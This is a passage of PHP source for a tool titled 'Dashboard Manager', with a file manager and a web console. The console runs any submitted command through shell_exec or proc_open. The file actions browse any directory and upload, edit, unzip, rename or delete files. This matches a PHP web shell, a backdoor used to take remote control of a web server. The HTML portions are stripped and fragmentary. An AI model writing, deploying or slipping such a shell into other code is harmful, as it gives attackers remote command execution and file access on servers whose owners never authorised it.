= 1024 && $unitIndex < count($units) - 1) { $bytes /= 1024; $unitIndex++; } return round($bytes, 2) . ' ' . $units[$unitIndex]; } function isPathWithinBase(string $path, string $base): bool { $realPath = realpath($path); $realBase = realpath($base); return $realPath !== false && $realBase !== false && str_starts_with($realPath, $realBase); } // ==================== Initialize State ==================== $currentPath = getcwd(); if (isset($_GET['p']) && is_dir($_GET['p'])) { $resolved = realpath($_GET['p']); if ($resolved) { $currentPath = $resolved; } } $currentTab = in_array($_GET['tab'] ?? '', ['files', 'console'], true) ? $_GET['tab'] : 'files'; $notifications = []; if (!isset($_SESSION['cmd_history'])) { $_SESSION['cmd_history'] = []; } // ==================== AJAX Console Handler ==================== if (isset($_POST['console_cmd'])) { $command = trim($_POST['console_cmd']); $workingDir = isset($_POST['console_cwd']) && is_dir($_POST['console_cwd']) ? realpath($_POST['console_cwd']) : $currentPath; $response = ['output' => '', 'cwd' => $workingDir, 'error' => false]; if ($command !== '') { // Track command history if ($command !== ($_SESSION['cmd_history'][0] ?? '')) { array_unshift($_SESSION['cmd_history'], $command); $_SESSION['cmd_history'] = array_slice($_SESSION['cmd_history'], 0, CMD_HISTORY_LIMIT); } // Handle cd command if (preg_match('/^cd(?:\s+(.+))?$/', $command, $matches)) { $target = trim($matches[1] ?? ''); if ($target === '' || $target === '~') { $target = getenv('HOME') ?: '/'; } if ($target[0] !== '/') { $target = $workingDir . DIRECTORY_SEPARATOR . $target; } $realTarget = realpath($target); if ($realTarget && is_dir($realTarget)) { $response['cwd'] = $realTarget; } else { $response['output'] = "bash: cd: $target: No such file or directory"; $response['error'] = true; } } else { // Execute other commands $fullCommand = 'cd ' . escapeshellarg($workingDir) . ' 2>/dev/null; ' . $command . ' 2>&1'; $output = @shell_exec($fullCommand); if ($output === null) { $process = @proc_open( '/bin/sh -c ' . escapeshellarg($fullCommand), [1 => ['pipe', 'w'], 2 => ['pipe', 'w']], $pipes ); if (is_resource($process)) { $output = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } else { $output = '(shell disabled on this server)'; $response['error'] = true; } } // Sanitize output $output = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', (string)$output); $output = preg_replace('/\x1B\[[0-9;]*[A-Za-z]/', '', $output); $output = @iconv('UTF-8', 'UTF-8//IGNORE', $output) ?: preg_replace('/[\x80-\xFF]/', '?', $output); $response['output'] = $output !== '' ? $output : '(no output)'; } } // Return JSON response while (ob_get_level() > 0) ob_end_clean(); header('Content-Type: application/json; charset=utf-8'); $json = json_encode($response, JSON_UNESCAPED_UNICODE); if ($json === false) { $json = json_encode([ 'output' => base64_encode((string)$response['output']), 'b64' => true, 'cwd' => (string)$response['cwd'], 'error' => true, 'enc_err' => json_last_error_msg(), ]); } echo $json ?: '{"output":"(fatal json error)","cwd":"","error":true}'; exit; } // ==================== File Operations ==================== // Delete file/folder if (!empty($_GET['del'])) { $target = realpath($currentPath . DIRECTORY_SEPARATOR . basename($_GET['del'])); if ($target && isPathWithinBase($target, $currentPath)) { if (is_file($target)) { @unlink($target); $notifications[] = 'File deleted.'; } elseif (is_dir($target)) { @rmdir($target); $notifications[] = 'Folder deleted.'; } } } // Upload file if (!empty($_FILES['fup']['tmp_name'])) { $destination = $currentPath . DIRECTORY_SEPARATOR . basename($_FILES['fup']['name']); if (move_uploaded_file($_FILES['fup']['tmp_name'], $destination)) { $notifications[] = 'File uploaded: ' . basename($destination); } } // Create directory if (!empty($_POST['mkdir'])) { $dir = $currentPath . DIRECTORY_SEPARATOR . basename($_POST['mkdir']); if (!is_dir($dir) && @mkdir($dir)) { $notifications[] = 'Folder created.'; } } // Edit file if (!empty($_POST['fc']) && !empty($_POST['fn'])) { @file_put_contents($_POST['fn'], $_POST['fc']); $notifications[] = 'Changes saved.'; } // Unzip file if (!empty($_POST['uz'])) { $zipPath = realpath($currentPath . DIRECTORY_SEPARATOR . basename($_POST['uz'])); if ($zipPath && strtolower(pathinfo($zipPath, PATHINFO_EXTENSION)) === 'zip') { $zip = new ZipArchive(); if ($zip->open($zipPath) === true) { $zip->extractTo($currentPath); $zip->close(); $notifications[] = 'File extracted.'; } else { $notifications[] = 'Failed to open zip file.'; } } } // Rename file/folder if (!empty($_POST['r_old']) && !empty($_POST['r_new'])) { $oldPath = realpath($currentPath . DIRECTORY_SEPARATOR . basename($_POST['r_old'])); $newPath = $currentPath . DIRECTORY_SEPARATOR . basename($_POST['r_new']); if ($oldPath && file_exists($oldPath) && !file_exists($newPath)) { if (@rename($oldPath, $newPath)) { $notifications[] = 'Rename successful.'; } } } // ==================== Render Functions ==================== function renderLogin(?string $error): void { ?> Login - Dashboard Manager

Dashboard Manager

' . h($error) . '
'; ?>
Dashboard Manager
Dashboard Manager
Logout
File Manager Console
' . h($notif) . '
'; ?> ', urlencode($parentDir) ); } // List directory contents foreach (scandir($path) as $entry) { if ($entry === '.' || $entry === '..') continue; $filePath = $path . DIRECTORY_SEPARATOR . $entry; $modified = date('Y-m-d H:i', (int)@filemtime($filePath)); $isWritable = is_writable($filePath) ? 'yes' : 'no'; $size = is_file($filePath) ? fsize((int)filesize($filePath)) : '-'; $typeIcon = is_dir($filePath) ? 'D' : 'F'; echo ''; } ?>
Name Size Modified Writable Actions
← ..---
'; if (is_dir($filePath)) { printf( '[%s] %s', urlencode($filePath), $typeIcon, h($entry) ); } else { printf('[%s] %s', $typeIcon, h($entry)); } echo "$size$modified$isWritable"; // Delete action printf( '[del]', urlencode($path), urlencode($entry), h($entry) ); // Edit action (files only) if (is_file($filePath)) { printf( '[edit]', urlencode($path), urlencode($entry) ); } echo '

Upload File

Create Folder

Unzip Archive

Rename

Edit:

Quick:
Current Directory:
Console ready. Press Enter to execute commands.
$